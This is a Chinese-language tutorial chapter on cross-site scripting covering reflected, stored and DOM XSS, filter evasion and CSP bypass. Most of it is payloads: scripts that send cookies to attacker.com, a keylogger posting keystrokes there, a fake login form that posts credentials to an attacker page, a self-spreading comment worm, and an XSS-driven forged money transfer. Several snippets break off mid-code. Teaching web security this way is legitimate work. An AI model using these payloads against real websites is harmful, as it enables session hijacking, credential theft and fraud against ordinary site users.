XSS(Cross-Site Scripting)是Web应用安全中最常见的漏洞之一。和SQL注入不同,XSS攻击的是其他用户,而不是服务器。

反射型XSS(Reflected XSS)是指恶意脚本通过URL参数等方式传入,服务器直接返回给用户,在用户浏览器中执行。
攻击流程:
如果应用程序直接输出用户输入,没有过滤:
|echo $_GET['name'];
攻击者可以输入:
|<script>alert('XSS')</script>
页面会输出:
|<script>alert('XSS')</script>
浏览器会执行这个脚本,弹出alert弹窗。
假设一个搜索功能存在反射型XSS:
|GET /search?keyword=test
后端代码会输出用户输入:
|echo "搜索结果: " . $_GET['keyword'];
测试反射型XSS:
|GET /search?keyword=<script>alert('XSS')</script>
上述请求会显示alert弹窗,说明存在XSS。
利用XSS窃取Cookie:
|GET /search?keyword=<script>var img=new Image();img.src='http://attacker.com/steal?cookie='+document.cookie;</script>
上述请求当用户访问这个URL时,Cookie会被发送到攻击者的服务器。
基础Payload:
|<script>alert('XSS')</script> <img src=x onerror=alert('XSS')> <svg onload=alert('XSS')>
绕过过滤的Payload:
|<!-- 大小写绕过 --> <ScRiPt>alert('XSS')</ScRiPt> <!-- 编码绕过 --> <script>alert(String.fromCharCode(88,83,83))</script> <!-- 事件处理器 --> <body onload=alert('XSS')> <input onfocus=alert

存储型XSS(Stored XSS)是指恶意脚本被存储到服务器(如数据库),每次用户访问相关页面时都会执行。
攻击流程:
假设一个评论功能存在存储型XSS:
|POST /comment Content-Type: application/x-www-form-urlencoded content=<script>alert('XSS')</script>
后端存储了这个评论,当其他用户查看评论时,脚本会执行,弹出alert弹窗。
利用存储型XSS窃取Cookie:
|POST /comment content=<script>setInterval(function(){var img=new Image();img.src='http://attacker.com/steal?cookie='+document.cookie;},1000);</script>
上述请求会每秒发送一次Cookie到攻击者的服务器,即使用户关闭页面,只要Cookie有效,就会持续发送。
存储型XSS可以用于蠕虫传播,让攻击自动扩散。
攻击脚本:
|<script> // 获取当前页面的Cookie和CSRF token var cookie = document.cookie; var csrf = document.querySelector('input[name=csrf_token]').value; // 构造恶意评论 var maliciousComment = '<script>/* 同样的脚本 */</script>'; // 自动提交评论 var form = document.createElement('form'); form.method = 'POST'; form.action = '/comment'; form.innerHTML = '<input name="content" value="' + maliciousComment + '">' + '<input name="csrf_token" value="' + csrf + '">';
上述请求当用户访问包含这个脚本的页面时,会自动在评论中插入同样的脚本,实现自动传播。

DOM XSS(DOM-based XSS)是指恶意脚本通过修改DOM环境在客户端执行,不经过服务器。
攻击原理:
如果JavaScript直接使用URL参数或用户输入操作DOM:
|document.getElementById('content').innerHTML = location.hash.substring(1);
攻击者可以构造URL:
|http://example.com/page#<img src=x onerror=alert('XSS')>
上述请求当页面加载时,location.hash会被插入到DOM中,触发XSS,弹出alert弹窗。
innerHTML,直接设置element.innerHTML = userInput是危险的。document.write,直接使用document.write(userInput)是危险的。eval,使用eval(userInput)是危险的。setTimeout/setInterval,使用setTimeout(userInput, 1000)是危险的。location,设置location.href = userInput、location.search = userInput可能危险。
假设一个页面使用location.hash:
|var page = location.hash.substring(1); document.getElementById('content').innerHTML = '<h1>Page: ' + page + '</h1>';
测试DOM XSS:
|http://example.com/page#<img src=x onerror=alert('XSS')>
上述请求会成功触发XSS,弹出alert弹窗。
更复杂的DOM XSS:
|// 从URL参数获取数据 var data = new URLSearchParams(location.search).get('data'); // 使用eval执行 eval('processData("' + data + '")');
攻击者可以输入:
|http://example.com/page?data=");alert('XSS');//
生成的代码:
|eval('processData("");alert('XSS');//")');
上述请求会成功执行alert('XSS'),弹出alert弹窗。

最常见的XSS利用方式就是窃取Cookie。
基础Payload:
|<script> var img = new Image(); img.src = 'http://attacker.com/steal?cookie=' + document.cookie; </script>
使用XMLHttpRequest:
|<script> var xhr = new XMLHttpRequest(); xhr.open('POST', 'http://attacker.com/steal', true); xhr.setRequestHeader('Content-Type', 'application/json'); xhr.send(JSON.stringify({cookie: document.cookie})); </script>
通过XSS可以实现键盘记录,窃取用户输入的密码等敏感信息。
实现方法:
|<script> document.addEventListener('keypress', function(e) { var xhr = new XMLHttpRequest(); xhr.open('POST', 'http://attacker.com/keylog', true); xhr.send(JSON.stringify({key: e.key, time: Date.now()})); }); </script>
通过XSS可以伪造登录页面,进行钓鱼攻击。
实现方法:
|<script> // 保存原始页面 var originalHTML = document.body.innerHTML; // 伪造登录页面 document.body.innerHTML = '<form action="http://attacker.com/phish" method="POST">' + '<input name="username" placeholder="Username">' + '<input name="password" type="password" placeholder="Password">' + '<button
XSS可以结合CSRF,实现更强大的攻击。
实现方法:
|<script> // 获取CSRF token var csrf = document.querySelector('input[name=csrf_token]').value; // 构造CSRF请求 var form = document.createElement('form'); form.method = 'POST'; form.action = '/transfer'; form.innerHTML = '<input name="to" value="attacker">' + '<input name="amount" value="1000">' + '<input name="csrf_token" value="' + csrf + '">';
如果系统部署了CSP(Content Security Policy),则需要绕过CSP。
常见绕过方法:
JSONP绕过:
|<script src="https://trusted-site.com/jsonp?callback=alert"></script>
Base标签绕过:
|<base href="http://attacker.com/"> <script src="/evil.js"></script>
Nonce绕过: 如果CSP使用nonce,但nonce可预测或泄露,同样可以绕过CSP。
|<script nonce="abc123">alert('XSS')</script>
很多系统会过滤XSS,常见的过滤规则包括过滤<script>标签、过滤事件处理器(如onerror)、过滤javascript:协议、HTML实体编码等。
1. 大小写绕过:
|<ScRiPt>alert('XSS')</ScRiPt>
2. 编码绕过:
|<script>alert(String.fromCharCode(88,83,83))</script> <script>alert('XSS')</script>
3. 标签属性绕过:
|<img src=x onerror=alert('XSS')> <svg onload=alert('XSS')> <body onload=alert('XSS')>
4. 事件处理器绕过:
|<input onfocus=alert('XSS') autofocus> <select onfocus=alert('XSS') autofocus> <textarea onfocus=alert('XSS') autofocus>
5. 协议绕过:
|<a href="javascript:alert('XSS')">Click</a> <iframe src="javascript:alert('XSS')">
6. 空格绕过:
|<img/src=x/onerror=alert('XSS')> <script/type=text/javascript>alert('XSS')</script>
7. 注释绕过:
|<script><!-- alert('XSS') //--></script>
8. 多重编码:
|%3Cscript%3Ealert('XSS')%3C/script%3E <script>alert('XSS')</script>
本节我们一起梳理了XSS的常见类型——反射型(通过URL参数即用即现)、存储型(恶意脚本被存进服务器,后续每次访问都会中招)、以及DOM型(在前端通过操作页面DOM触发)。 这些攻击方式不仅能用来弹个窗,还可能用于窃取Cookie、监听用户输入、钓鱼欺骗,甚至与CSRF结合发动更复杂的攻击。我们也系统整理了各种常见的绕过手法,比如编码、事件、协议、空格、注释、多重编码等,让你在测试和防护时更有思路。
安全攻防的路上,理解XSS的原理和绕过方式,就是在为自己的开发和测试多上一把锁。别忘了——XSS攻击的是用户而不是服务器,一旦防护不到位,对每一个访问者来说都可能是致命威胁。
下一节我们将聊聊跨站请求伪造(CSRF)——XSS和CSRF经常“结伴而行”,也是安全测试和防护必须掌握的重要内容。
实践建议: 使用XSS测试Payload列表,测试不同上下文的XSS(HTML、JavaScript、属性等),尝试绕过各种过滤器,理解XSS的实际危害(不只是alert),学习CSP等防护措施。
记住:XSS攻击的是用户,而不是服务器。防护XSS的关键是对用户输入进行充分的过滤和编码。